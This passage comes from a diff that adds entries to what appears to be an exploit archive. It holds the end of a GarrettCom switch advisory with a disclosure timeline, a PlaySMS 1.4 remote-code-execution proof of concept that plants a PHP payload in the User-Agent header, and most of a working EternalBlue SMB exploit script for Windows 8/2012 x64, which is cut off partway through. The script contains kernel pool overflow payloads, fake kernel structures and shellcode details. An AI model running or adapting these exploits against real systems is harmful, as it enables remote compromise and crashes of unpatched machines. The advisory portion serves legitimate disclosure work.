like Gecko) Chrome/56.0.2924.28 Safari/537.36
|
||||
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,
|
||||
image/webp,*/*;q=0.8
|
||||
Accept-Encoding: gzip, deflate, sdch, br
|
||||
Accept-Language: en-US,en;q=0.8
|
||||
|
||||
GarrettCom-04 - SSL Keys Shared Across Devices
|
||||
----------------------------------------------
|
||||
|
||||
Severity: **Moderate**
|
||||
|
||||
The SSL certificate on all devices running firmware version 4.6.0 is the
|
||||
same. This issue was previously reported and an advisory released by
|
||||
ICS-CERT. While GarrettCom reported the issue was fixed in 4.5.6, the web
|
||||
server certificate remains static in 4.6.0:
|
||||
|
||||
openssl s_client -connect 192.168.0.5:443 -showcerts
|
||||
CONNECTED(00000003)
|
||||
depth=0 C = US, ST = California, L = Fremont, O = Belden, OU =
|
||||
Technical Support, CN = 192.168.1.2, emailAddress = gcisupport@belden.com
|
||||
verify error:num=18:self signed certificate
|
||||
verify return:1
|
||||
depth=0 C = US, ST = California, L = Fremont, O = Belden, OU =
|
||||
Technical Support, CN = 192.168.1.2, emailAddress = gcisupport@belden.com
|
||||
verify return:1
|
||||
---
|
||||
Certificate chain
|
||||
0 s:/C=US/ST=California/L=Fremont/O=Belden/OU=Technical Support/CN=
|
||||
192.168.1.2/emailAddress=gcisupport@belden.com
|
||||
i:/C=US/ST=California/L=Fremont/O=Belden/OU=Technical Support/CN=
|
||||
192.168.1.2/emailAddress=gcisupport@belden.com
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIEtTCCA52gAwIBAgIBADANBgkqhkiG9w0BAQUFADCBnTELMAkGA1UEBhMCVVMx
|
||||
EzARBgNVBAgTCkNhbGlmb3JuaWExEDAOBgNVBAcTB0ZyZW1vbnQxDzANBgNVBAoT
|
||||
BkJlbGRlbjEaMBgGA1UECxMRVGVjaG5pY2FsIFN1cHBvcnQxFDASBgNVBAMTCzE5
|
||||
Mi4xNjguMS4yMSQwIgYJKoZIhvcNAQkBFhVnY2lzdXBwb3J0QGJlbGRlbi5jb20w
|
||||
HhcNMTUxMDI3MTEyNzQ2WhcNMjUxMDI0MTEyNzQ2WjCBnTELMAkGA1UEBhMCVVMx
|
||||
EzARBgNVBAgTCkNhbGlmb3JuaWExEDAOBgNVBAcTB0ZyZW1vbnQxDzANBgNVBAoT
|
||||
BkJlbGRlbjEaMBgGA1UECxMRVGVjaG5pY2FsIFN1cHBvcnQxFDASBgNVBAMTCzE5
|
||||
Mi4xNjguMS4yMSQwIgYJKoZIhvcNAQkBFhVnY2lzdXBwb3J0QGJlbGRlbi5jb20w
|
||||
ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDFlt+j4OvpcgfdrFGnBxti
|
||||
ds6r9sNEcR9JdAFbOmwybQkdqIw9Z9+teU/rixPocEE4gL8beNuw/D3lDc4RJ63m
|
||||
1zuQ1riFOkTsz7koKQNWTh3CkIBE7843p5I/GVvhfR7xNCCmCWPdq+6/b3nhott5
|
||||
oBeMLOjIWnjFgyVMsWR22JOYv+euWwr4oqZDLfBHjfipnu36J1E2kHLG3TL9uwyN
|
||||
DUxtrIbvfi5tOxi8tx1bxZFQU1jxoQa725gO+1TOYzfSoY1a7/M0rMhJM1wFXak6
|
||||
jbDbJLSv2TXMWrSJlGFUbCcKv3kE22zLcU/wx1Xl4a4NNvFW7Sf5OG2B+bFLr4fD
|
||||
AgMBAAGjgf0wgfowHQYDVR0OBBYEFLtGmDWgd773vSkKikDFSz8VOZ7DMIHKBgNV
|
||||
HSMEgcIwgb+AFLtGmDWgd773vSkKikDFSz8VOZ7DoYGjpIGgMIGdMQswCQYDVQQG
|
||||
EwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTEQMA4GA1UEBxMHRnJlbW9udDEPMA0G
|
||||
A1UEChMGQmVsZGVuMRowGAYDVQQLExFUZWNobmljYWwgU3VwcG9ydDEUMBIGA1UE
|
||||
AxMLMTkyLjE2OC4xLjIxJDAiBgkqhkiG9w0BCQEWFWdjaXN1cHBvcnRAYmVsZGVu
|
||||
LmNvbYIBADAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQBAiuv06CMD
|
||||
ij+9bEZAfmHftptG4UqsNgYIFZ1sN7HC6RBR9xy45fWVcQN3l3KiyddLsftbZSOa
|
||||
CRPpzqgpF58hGwAa7+yQPOjOWf+uLc9Oyex6P9ewAo6c5iiYI865FSQ+QCY4xbD1
|
||||
Uk/WFV2LKOzxkXPRcVB4KR81g8tSZF3E8llybhEngg7cvN3uHpO5a5U085xuBbcF
|
||||
To9PSbGKyJ7UGESBTD6KxLWAxoD6VGRV2CAZa/F9RTbdG1ZbTUMvoEDmYqv7Pjv/
|
||||
ApZzztLJlCyhVM4N/jh/Q/g1VaQWuzPpza6utjN5soUxeZYJB6KwzGUiLnyTNBJz
|
||||
L4JtsUO8AcWb
|
||||
-----END CERTIFICATE-----
|
||||
|
||||
Note that Belden Garrettcom has addressed this issue by reinforcing that
|
||||
users of the switches should install their own SSL certificates if they
|
||||
do not want to use the default certificate and key.
|
||||
|
||||
GarrettCom-05 - Weak SSL Ciphers Enabled
|
||||
----------------------------------------
|
||||
|
||||
Severity: **Moderate**
|
||||
|
||||
Many of the SSL ciphers available for the switch are outdated or use
|
||||
insecure ciphers or hashes. Additionally, no key exchanges with perfect forward
|
||||
secrecy are offered, rendering all previous communications possibly compromised,
|
||||
given the issue reported above. Particularly of note is the use of 56-bit DES,
|
||||
RC4, and MD5-based MACs.
|
||||
|
||||
ssl3: AES256-SHA
|
||||
ssl3: CAMELLIA256-SHA
|
||||
ssl3: DES-CBC3-SHA
|
||||
ssl3: AES128-SHA
|
||||
ssl3: SEED-SHA
|
||||
ssl3: CAMELLIA128-SHA
|
||||
ssl3: RC4-SHA
|
||||
ssl3: RC4-MD5
|
||||
ssl3: DES-CBC-SHA
|
||||
tls1: AES256-SHA
|
||||
tls1: CAMELLIA256-SHA
|
||||
tls1: DES-CBC3-SHA
|
||||
tls1: AES128-SHA
|
||||
tls1: SEED-SHA
|
||||
tls1: CAMELLIA128-SHA
|
||||
tls1: RC4-SHA
|
||||
tls1: RC4-MD5
|
||||
tls1: DES-CBC-SHA
|
||||
tls1_1: AES256-SHA
|
||||
tls1_1: CAMELLIA256-SHA
|
||||
tls1_1: DES-CBC3-SHA
|
||||
tls1_1: AES128-SHA
|
||||
tls1_1: SEED-SHA
|
||||
tls1_1: CAMELLIA128-SHA
|
||||
tls1_1: RC4-SHA
|
||||
tls1_1: RC4-MD5
|
||||
tls1_1: DES-CBC-SHA
|
||||
tls1_2: AES256-GCM-SHA384
|
||||
tls1_2: AES256-SHA256
|
||||
tls1_2: AES256-SHA
|
||||
tls1_2: CAMELLIA256-SHA
|
||||
tls1_2: DES-CBC3-SHA
|
||||
tls1_2: AES128-GCM-SHA256
|
||||
tls1_2: AES128-SHA256
|
||||
tls1_2: AES128-SHA
|
||||
tls1_2: SEED-SHA
|
||||
tls1_2: CAMELLIA128-SHA
|
||||
tls1_2: RC4-SHA
|
||||
tls1_2: RC4-MD5
|
||||
tls1_2: DES-CBC-SHA
|
||||
|
||||
GarrettCom-06 - Weak HTTP session key generation
|
||||
------------------------------------------------
|
||||
|
||||
Severity: **Moderate**
|
||||
|
||||
The HTTP session key generation is predictable due to the lack of
|
||||
randomness in the generation process. The key is generated by hashing the
|
||||
previous hash result with the current time unit with precision around 50 unit
|
||||
per second. The previous hash is replaced with a fixed salt for the first hash
|
||||
generation.
|
||||
|
||||
The vulnerability allows an attacker to predict the first key that’s
|
||||
generated by the switch if he has some knowledge about when the key was generated.
|
||||
Alternatively, the vulnerability also enables privilege escalation attacks
|
||||
which predict all future keys by observing two consecutive key generations of
|
||||
lower privileges.
|
||||
|
||||
Timeline
|
||||
--------
|
||||
|
||||
2017/01/?? - Issues Discovered
|
||||
2017/01/27 - Reported to BEL-SM-PSIRT@belden.com
|
||||
2017/04/27 - 90 day timeline expires, Belden reports patched release forthcoming.
|
||||
2017/05/08 - Belden releases update & advisory.
|
||||
2017/05/15 - Disclosure published
|
||||
|
||||
Discovery
|
||||
---------
|
||||
|
||||
These issues were discovered by Andrew Griffiths, David Tomaschik, and
|
||||
Xiaoran Wang of the Google Security Assessments Team.
|
85
platforms/php/webapps/42038.txt
Executable file
85
platforms/php/webapps/42038.txt
Executable file
|
@ -0,0 +1,85 @@
|
|||
Exploit Title: PlaySMS 1.4 Remote Code Execution (to Poisoning admin log)
|
||||
# Date: 19-05-2017
|
||||
# Software Link: https://playsms.org/download/
|
||||
# Version: 1.4
|
||||
# Exploit Author: Touhid M.Shaikh
|
||||
# Contact: http://twitter.com/touhidshaikh22
|
||||
# Website: http://touhidshaikh.com/
|
||||
# Category: webapps
|
||||
|
||||
1. Description
|
||||
|
||||
|
||||
Remote Code Execution in Admin Log.
|
||||
In PlaySMS Admin have a panel where he/she monitor User status. Admin Can see Whose Online.
|
||||
Using this functionality we can exploit RCE in Whose Online page.
|
||||
|
||||
When Any user Logged in the playSMS application. Some user details log on Whose Online panel like "Username", "User-Agent", "Current IP", etc. (You Can See Templeate Example Below)
|
||||
|
||||
For More Details : www.touhidshaikh.com/blog/
|
||||
|
||||
|
||||
2. Proof of Concept
|
||||
|
||||
1) Login as regular user (created using index.php?app=main&inc=core_auth&route=register):
|
||||
|
||||
2) Just Change you User-agent String to "<?php phpinfo();?>" or whatever your php payload.(Make sure to change User Agent after log in)
|
||||
|
||||
3) Just surf on playsms. And wait for admin activity, When admin Checks Whose Online status ...(bingooo Your payload successfully exploited )
|
||||
|
||||
|
||||
|
||||
setting parameter in online.php
|
||||
*------------------online.php-----------------*
|
||||
|
||||
$users = report_whoseonline_subuser();
|
||||
foreach ($users as $user) {
|
||||
foreach ($user as $hash) {
|
||||
$tpl['loops']['data'][] = array(
|
||||
'tr_class' => $tr_class,
|
||||
'c_username' => $hash['username'],
|
||||
'c_isadmin' => $hash['icon_isadmin'],
|
||||
'last_update' => $hash['last_update'],
|
||||
'current_ip' => $hash['ip'],
|
||||
'user_agent' => $hash['http_user_agent'],
|
||||
'login_status' => $hash['login_status'],
|
||||
'action' => $hash['action_link'],
|
||||
);
|
||||
}
|
||||
}
|
||||
*-------------ends here online.php-----------------*
|
||||
|
||||
|
||||
|
||||
|
||||
Visible on this page: report_online.html
|
||||
*------------report_online.html-----------*
|
||||
<loop.data>
|
||||
<tr class={{ data.tr_class }}>
|
||||
<td>{{ data.c_username }} {{ data.c_isadmin }}</td>
|
||||
<td>{{ data.login_status }} {{ data.last_update }}</td>
|
||||
<td>{{ data.current_ip }}</td>
|
||||
<td>{{ data.user_agent }}</td>
|
||||
<td>{{ data.action }}</td>
|
||||
</tr>
|
||||
</loop.data>
|
||||
*------------Ends here report_online.html-----------*
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
*------------------Greetz----------------- -----*
|
||||
|Pratik K.Tejani, Rehman, Taushif |
|
||||
*---------------------------------------------------*
|
||||
|
||||
_____ _ _ _
|
||||
|_ _|__ _ _| |__ (_) __| |
|
||||
| |/ _ \| | | | '_ \| |/ _` |
|
||||
| | (_) | |_| | | | | | (_| |
|
||||
|_|\___/ \__,_|_| |_|_|\__,_|
|
||||
|
||||
Touhid SHaikh
|
||||
An Independent Security Researcher.
|
||||
|
527
platforms/win_x86-64/remote/42030.py
Executable file
527
platforms/win_x86-64/remote/42030.py
Executable file
|
@ -0,0 +1,527 @@
|
|||
#!/usr/bin/python
|
||||
from impacket import smb
|
||||
from struct import pack
|
||||
import os
|
||||
import sys
|
||||
import socket
|
||||
|
||||
'''
|
||||
EternalBlue exploit for Windows 8 and 2012 by sleepya
|
||||
The exploit might FAIL and CRASH a target system (depended on what is overwritten)
|
||||
The exploit support only x64 target
|
||||
Tested on:
|
||||
- Windows 2012 R2 x64
|
||||
- Windows 8.1 x64
|
||||
Default Windows 8 and later installation without additional service info:
|
||||
- anonymous is not allowed to access any share (including IPC$)
|
||||
- tcp port 445 if filtered by firewall
|
||||
Reference:
|
||||
- http://blogs.360.cn/360safe/2017/04/17/nsa-eternalblue-smb/
|
||||
- "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" https://drive.google.com/file/d/0B3P18M-shbwrNWZTa181ZWRCclk/edit
|
||||
Exploit info:
|
||||
- If you do not know how exploit for Windows 7/2008 work. Please read my exploit for Windows 7/2008 at
|
||||
https://gist.github.com/worawit/bd04bad3cd231474763b873df081c09a because the trick for exploit is almost the same
|
||||
- The exploit use heap of HAL for placing fake struct (address 0xffffffffffd00e00) and shellcode (address 0xffffffffffd01000).
|
||||
On Windows 8 and Wndows 2012, the NX bit is set on this memory page. Need to disable it before controlling RIP.
|
||||
- The exploit is likely to crash a target when it failed
|
||||
- The overflow is happened on nonpaged pool so we need to massage target nonpaged pool.
|
||||
- If exploit failed but target does not crash, try increasing 'numGroomConn' value (at least 5)
|
||||
- See the code and comment for exploit detail.
|
||||
Disable NX method:
|
||||
- The idea is from "Bypassing Windows 10 kernel ASLR (remote) by Stefan Le Berre" (see link in reference)
|
||||
- The exploit is also the same but we need to trigger bug twice
|
||||
- First trigger, set MDL.MappedSystemVa to target pte address
|
||||
- Write '\x00' to disable the NX flag
|
||||
- Second trigger, do the same as Windows 7 exploit
|
||||
- From my test, if exploit disable NX successfully, I always get code execution
|
||||
'''
|
||||
|
||||
# because the srvnet buffer is changed dramatically from Windows 7, I have to choose NTFEA size to 0x9000
|
||||
NTFEA_SIZE = 0x9000
|
||||
|
||||
ntfea9000 = (pack('<BBH', 0, 0, 0) + '\x00')*0x260 # with these fea, ntfea size is 0x1c80
|
||||
ntfea9000 += pack('<BBH', 0, 0, 0x735c) + '\x00'*0x735d # 0x8fe8 - 0x1c80 - 0xc = 0x735c
|
||||
ntfea9000 += pack('<BBH', 0, 0, 0x8147) + '\x00'*0x8148 # overflow to SRVNET_BUFFER_HDR
|
||||
|
||||
'''
|
||||
Reverse from srvnet.sys (Win2012 R2 x64)
|
||||
- SrvNetAllocateBufferFromPool() and SrvNetWskTransformedReceiveComplete():
|
||||
// size 0x90
|
||||
struct SRVNET_BUFFER_HDR {
|
||||
LIST_ENTRY list;
|
||||
USHORT flag; // 2 least significant bit MUST be clear. if 0x1 is set, pmdl pointers are access. if 0x2 is set, go to lookaside.
|
||||
char unknown0[6];
|
||||
char *pNetRawBuffer; // MUST point to valid address (check if this request is "\xfdSMB")
|
||||
DWORD netRawBufferSize; // offset: 0x20
|
||||
DWORD ioStatusInfo;
|
||||
DWORD thisNonPagedPoolSize; // will be 0x82e8 for netRawBufferSize 0x8100
|
||||
DWORD pad2;
|
||||
char *thisNonPagedPoolAddr; // 0x30 points to SRVNET_BUFFER
|
||||
PMDL pmdl1; // point at offset 0x90 from this struct
|
||||
DWORD nByteProcessed; // 0x40
|
||||
char unknown4[4];
|
||||
QWORD smbMsgSize; // MUST be modified to size of all recv data
|
||||
PMDL pmdl2; // 0x50: if want to free corrupted buffer, need to set to valid address
|
||||
QWORD pSrvNetWskStruct; // want to change to fake struct address
|
||||
DWORD unknown6; // 0x60
|
||||
char unknown7[12];
|
||||
char unknown8[0x20];
|
||||
};
|
||||
struct SRVNET_BUFFER {
|
||||
char transportHeader[80]; // 0x50
|
||||
char buffer[reqSize+padding]; // 0x8100 (for pool size 0x82f0), 0x10100 (for pool size 0x11000)
|
||||
SRVNET_BUFFER_HDR hdr; //some header size 0x90
|
||||
//MDL mdl1; // target
|
||||
};
|
||||
In Windows 8, the srvnet buffer metadata is declared after real buffer. We need to overflow through whole receive buffer.
|
||||
Because transaction max data count is 66512 (0x103d0) in SMB_COM_NT_TRANSACT command and
|
||||
DataDisplacement is USHORT in SMB_COM_TRANSACTION2_SECONDARY command, we cannot send large trailing data after FEALIST.
|
||||
So the possible srvnet buffer pool size is 0x82f0. With this pool size, we need to overflow more than 0x8150 bytes.
|
||||
If exploit cannot overflow to prepared SRVNET_BUFFER, the target is likely to crash because of big overflow.
|
||||
'''
|
||||
# Most field in overwritten (corrupted) srvnet struct can be any value because it will be left without free (memory leak) after processing
|
||||
# Here is the important fields on x64
|
||||
# - offset 0x18 (VOID*) : pointer to received SMB message buffer. This value MUST be valid address because there is
|
||||
# a check in SrvNetWskTransformedReceiveComplete() if this message starts with "\xfdSMB".
|
||||
# - offset 0x48 (QWORD) : the SMB message length from packet header (first 4 bytes).
|
||||
# This value MUST be exactly same as the number of bytes we send.
|
||||
# Normally, this value is 0x80 + len(fake_struct) + len(shellcode)
|
||||
# - offset 0x58 (VOID*) : pointer to a struct contained pointer to function. the pointer to function is called when done receiving SMB request.
|
||||
# The value MUST point to valid (might be fake) struct.
|
||||
# - offset 0x90 (MDL) : MDL for describe receiving SMB request buffer
|
||||
# - 0x90 (VOID*) : MDL.Next should be NULL
|
||||
# - 0x98 (USHORT) : MDL.Size should be some value that not too small
|
||||
# - 0x9a (USHORT) : MDL.MdlFlags should be 0x1004 (MDL_NETWORK_HEADER|MDL_SOURCE_IS_NONPAGED_POOL)
|
||||
# - 0x90 (VOID*) : MDL.Process should be NULL
|
||||
# - 0x98 (VOID*) : MDL.MappedSystemVa MUST be a received network buffer address. Controlling this value get arbitrary write.
|
||||
# The address for arbitrary write MUST be subtracted by a number of sent bytes (0x80 in this exploit).
|
||||
#
|
||||
#
|
||||
# To free the corrupted srvnet buffer (not necessary), shellcode MUST modify some memory value to satisfy condition.
|
||||
# Here is related field for freeing corrupted buffer
|
||||
# - offset 0x10 (USHORT): 2 least significant bit MUST be clear. Just set to 0xfff0
|
||||
# - offset 0x30 (VOID*) : MUST be fixed to correct value in shellcode. This is the value that passed to ExFreePoolWithTag()
|
||||
# - offset 0x40 (DWORD) : be a number of total byte received. This field MUST be set by shellcode because SrvNetWskReceiveComplete() set it to 0
|
||||
# before calling SrvNetCommonReceiveHandler(). This is possible because pointer to SRVNET_BUFFER struct is passed to
|
||||
# your shellcode as function argument
|
||||
# - offset 0x50 (PMDL) : points to any fake MDL with MDL.Flags 0x20 does not set
|
||||
# The last condition is your shellcode MUST return non-negative value. The easiest way to do is "xor eax,eax" before "ret".
|
||||
# Here is x64 assembly code for setting nByteProcessed field
|
||||
# - fetch SRVNET_BUFFER address from function argument
|
||||
# \x48\x8b\x54\x24\x40 mov rdx, [rsp+0x40]
|
||||
# - fix pool pointer (rcx is -0x8150 because of fake_recv_struct below)
|
||||
# \x48\x01\xd1 add rcx, rdx
|
||||
# \x48\x89\x4a\x30 mov [rdx+0x30], rcx
|
||||
# - set nByteProcessed for trigger free after return
|
||||
# \x8b\x4a\x48 mov ecx, [rdx+0x48]
|
||||
# \x89\x4a\x40 mov [rdx+0x40], ecx
|
||||
|
||||
TARGET_HAL_HEAP_ADDR = 0xffffffffffd00e00 # for put fake struct and shellcode
|
||||
|
||||
# Note: feaList will be created after knowing shellcode size.
|
||||
|
||||
# feaList for disabling NX is possible because we just want to change only MDL.MappedSystemVa
|
||||
# PTE of 0xffffffffffd01000 is at 0xfffff6ffffffe808
|
||||
# NX bit is at 0xfffff6ffffffe80f
|
||||
# MappedSystemVa = 0xfffff6ffffffe80f - 0x7f = 0xfffff6ffffffe790
|
||||
fakeSrvNetBufferX64Nx = '\x00'*16
|
||||
fakeSrvNetBufferX64Nx += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR)
|
||||
fakeSrvNetBufferX64Nx += '\x00'*16
|
||||
fakeSrvNetBufferX64Nx += '\x00'*16
|
||||
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
|
||||
fakeSrvNetBufferX64Nx += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR) # _, _, pointer to fake struct
|
||||
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0)
|
||||
fakeSrvNetBufferX64Nx += '\x00'*16
|
||||
fakeSrvNetBufferX64Nx += '\x00'*16
|
||||
fakeSrvNetBufferX64Nx += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
|
||||
fakeSrvNetBufferX64Nx += pack('<QQ', 0, 0xfffff6ffffffe80f-0x7f) # MDL.Process, MDL.MappedSystemVa
|
||||
|
||||
feaListNx = pack('<I', 0x10000)
|
||||
feaListNx += ntfea9000
|
||||
feaListNx += pack('<BBH', 0, 0, len(fakeSrvNetBufferX64Nx)-1) + fakeSrvNetBufferX64Nx # -1 because first '\x00' is for name
|
||||
# stop copying by invalid flag (can be any value except 0 and 0x80)
|
||||
feaListNx += pack('<BBH', 0x12, 0x34, 0x5678)
|
||||
|
||||
|
||||
def createFakeSrvNetBuffer(sc_size):
|
||||
# 0x200 is size of fakeSrvNetBufferX64
|
||||
totalRecvSize = 0x80 + 0x200 + sc_size
|
||||
fakeSrvNetBufferX64 = '\x00'*16
|
||||
fakeSrvNetBufferX64 += pack('<HHIQ', 0xfff0, 0, 0, TARGET_HAL_HEAP_ADDR) # flag, _, _, pNetRawBuffer
|
||||
fakeSrvNetBufferX64 += '\x00'*16
|
||||
fakeSrvNetBufferX64 += '\x00'*16
|
||||
fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize) # offset 0x40
|
||||
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR) # pmdl2, pointer to fake struct
|
||||
fakeSrvNetBufferX64 += pack('<QQ', 0, 0)
|
||||
fakeSrvNetBufferX64 += '\x00'*16
|
||||
fakeSrvNetBufferX64 += '\x00'*16
|
||||
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
|
||||
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80) # MDL.Process, MDL.MappedSystemVa
|
||||
return fakeSrvNetBufferX64
|
||||
|
||||
def createFeaList(sc_size):
|
||||
feaList = pack('<I', 0x10000)
|
||||
feaList += ntfea9000
|
||||
fakeSrvNetBuf = createFakeSrvNetBuffer(sc_size)
|
||||
feaList += pack('<BBH', 0, 0, len(fakeSrvNetBuf)-1) + fakeSrvNetBuf # -1 because first '\x00' is for name
|
||||
# stop copying by invalid flag (can be any value except 0 and 0x80)
|
||||
feaList += pack('<BBH', 0x12, 0x34, 0x5678)
|
||||
return feaList
|
||||
|
||||
# fake struct for SrvNetWskTransformedReceiveComplete() and SrvNetCommonReceiveHandler()
|
||||
# x64: fake struct is at ffffffff ffd00e00
|
||||
# offset 0x50: KSPIN_LOCK
|
||||
# offset 0x58: LIST_ENTRY must be valid address. cannot be NULL.
|
||||
# offset 0x110: array of pointer to function
|
||||
# offset 0x13c: set to 3 (DWORD) for invoking ptr to function
|
||||
# some useful offset
|
||||
# offset 0x120: arg1 when invoking ptr to function
|
||||
# offset 0x128: arg2 when invoking ptr to function
|
||||
#
|
||||
# code path to get code exection after this struct is controlled
|
||||
# SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
|
||||
fake_recv_struct = ('\x00'*16)*5
|
||||
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58) # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself)
|
||||
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0) # offset 0x60
|
||||
fake_recv_struct += ('\x00'*16)*10
|
||||
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x1f0, 0) # offset 0x110: fn_ptr array
|
||||
fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0) # set arg1 to -0x8150
|
||||
fake_recv_struct += pack('<QII', 0, 0, 3) # offset 0x130
|
||||
fake_recv_struct += ('\x00'*16)*11
|
||||
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x200) # shellcode address
|
||||
|
||||
|
||||
def getNTStatus(self):
|
||||
return (self['ErrorCode'] << 16) | (self['_reserved'] << 8) | self['ErrorClass']
|
||||
setattr(smb.NewSMBPacket, "getNTStatus", getNTStatus)
|
||||
|
||||
def sendEcho(conn, tid, data):
|
||||
pkt = smb.NewSMBPacket()
|
||||
pkt['Tid'] = tid
|
||||
|
||||
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_ECHO)
|
||||
transCommand['Parameters'] = smb.SMBEcho_Parameters()
|
||||
transCommand['Data'] = smb.SMBEcho_Data()
|
||||
|
||||
transCommand['Parameters']['EchoCount'] = 1
|
||||
transCommand['Data']['Data'] = data
|
||||
pkt.addCommand(transCommand)
|
||||
|
||||
conn.sendSMB(pkt)
|
||||
recvPkt = conn.recvSMB()
|
||||
if recvPkt.getNTStatus() == 0:
|
||||
print('got good ECHO response')
|
||||
else:
|
||||
print('got bad ECHO response: 0x{:x}'.format(recvPkt.getNTStatus()))
|
||||
|
||||
|
||||
# do not know why Word Count can be 12
|
||||
# if word count is not 12, setting ByteCount without enough data will be failed
|
||||
class SMBSessionSetupAndXCustom_Parameters(smb.SMBAndXCommand_Parameters):
|
||||
structure = (
|
||||
('MaxBuffer','<H'),
|
||||
('MaxMpxCount','<H'),
|
||||
('VCNumber','<H'),
|
||||
('SessionKey','<L'),
|
||||
#('AnsiPwdLength','<H'),
|
||||
('UnicodePwdLength','<H'),
|
||||
('_reserved','<L=0'),
|
||||
('Capabilities','<L'),
|
||||
)
|
||||
|
||||
def createSessionAllocNonPaged(target, size):
|
||||
# The big nonpaged pool allocation is in BlockingSessionSetupAndX() function
|
||||
# You can see the allocation logic (even code is not the same) in WinNT4 source code
|
||||
# https://github.com/Safe3/WinNT4/blob/master/private/ntos/srv/smbadmin.c#L1050 till line 1071
|
||||
conn = smb.SMB(target, target)
|
||||
_, flags2 = conn.get_flags()
|
||||
# FLAGS2_EXTENDED_SECURITY MUST not be set
|
||||
flags2 &= ~smb.SMB.FLAGS2_EXTENDED_SECURITY
|
||||
# if not use unicode, buffer size on target machine is doubled because converting ascii to utf16
|
||||
if size >= 0xffff:
|
||||
flags2 &= ~smb.SMB.FLAGS2_UNICODE
|
||||
reqSize = size // 2
|
||||
else:
|
||||
flags2 |= smb.SMB.FLAGS2_UNICODE
|
||||
reqSize = size
|
||||
conn.set_flags(flags2=flags2)
|
||||
|
||||
pkt = smb.NewSMBPacket()
|
||||
|
||||
sessionSetup = smb.SMBCommand(smb.SMB.SMB_COM_SESSION_SETUP_ANDX)
|
||||
sessionSetup['Parameters'] = SMBSessionSetupAndXCustom_Parameters()
|
||||
|
||||
sessionSetup['Parameters']['MaxBuffer'] = 61440 # can be any value greater than response size
|
||||
sessionSetup['Parameters']['MaxMpxCount'] = 2 # can by any value
|
||||
sessionSetup['Parameters']['VCNumber'] = os.getpid()
|
||||
sessionSetup['Parameters']['SessionKey'] = 0
|
||||
sessionSetup['Parameters']['AnsiPwdLength'] = 0
|
||||
sessionSetup['Parameters']['UnicodePwdLength'] = 0
|
||||
sessionSetup['Parameters']['Capabilities'] = 0x80000000
|
||||
|
||||
# set ByteCount here
|
||||
sessionSetup['Data'] = pack('<H', size) + '\x00'*20
|
||||
pkt.addCommand(sessionSetup)
|
||||
|
||||
conn.sendSMB(pkt)
|
||||
recvPkt = conn.recvSMB()
|
||||
if recvPkt.getNTStatus() == 0:
|
||||
print('SMB1 session setup allocate nonpaged pool success')
|
||||
else:
|
||||
print('SMB1 session setup allocate nonpaged pool failed')
|
||||
return conn
|
||||
|
||||
|
||||
# Note: impacket-0.9.15 struct has no ParameterDisplacement
|
||||
############# SMB_COM_TRANSACTION2_SECONDARY (0x33)
|
||||
class SMBTransaction2Secondary_Parameters_Fixed(smb.SMBCommand_Parameters):
|
||||
structure = (
|
||||
('TotalParameterCount','<H=0'),
|
||||
('TotalDataCount','<H'),
|
||||
('ParameterCount','<H=0'),
|
||||
('ParameterOffset','<H=0'),
|
||||
('ParameterDisplacement','<H=0'),
|
||||
('DataCount','<H'),
|
||||
('DataOffset','<H'),
|
||||
('DataDisplacement','<H=0'),
|
||||
('FID','<H=0'),
|
||||
)
|
||||
|
||||
def send_trans2_second(conn, tid, data, displacement):
|
||||
pkt = smb.NewSMBPacket()
|
||||
pkt['Tid'] = tid
|
||||
|
||||
# assume no params
|
||||
|
||||
transCommand = smb.SMBCommand(smb.SMB.SMB_COM_TRANSACTION2_SECONDARY)
|
||||
transCommand['Parameters'] = SMBTransaction2Secondary_Parameters_Fixed()
|
||||
transCommand['Data'] = smb.SMBTransaction2Secondary_Data()
|
||||
|
||||
transCommand['Parameters']['TotalParameterCount'] = 0
|
||||
transCommand['Parameters']['TotalDataCount'] = len(data)
|
||||
|
||||
fixedOffset = 32+3+18
|
||||
transCommand['Data']['Pad1'] = ''
|
||||
|
||||
transCommand['Parameters']['ParameterCount'] = 0
|
||||
transCommand['Parameters']['ParameterOffset'] = 0
|
||||
|
||||
if len(data) > 0:
|
||||
pad2Len = (4 - fixedOffset % 4) % 4
|
||||
transCommand['Data']['Pad2'] = '\xFF' * pad2Len
|
||||
else:
|
||||
transCommand['Data']['Pad2'] = ''
|
||||
pad2Len = 0
|
||||
|
||||
transCommand['Parameters']['DataCount'] = len(data)
|
||||
transCommand['Parameters']['DataOffset'] = fixedOffset + pad2Len
|
||||
transCommand['Parameters']['DataDisplacement'] = displacement
|
||||
|
||||
transCommand['Data']['Trans_Parameters'] = ''
|
||||
transCommand['Data']['Trans_Data'] = data
|
||||
pkt.addCommand(transCommand)
|
||||
|
||||
conn.sendSMB(pkt)
|
||||
|
||||
|
||||
def send_nt_trans(conn, tid, setup, data, param, firstDataFragmentSize, sendLastChunk=True):
|
||||
pkt = smb.NewSMBPacket()
|
||||
pkt['Tid'] = tid
|
||||
|
||||
command = pack('<H', setup)
|
||||
|
||||
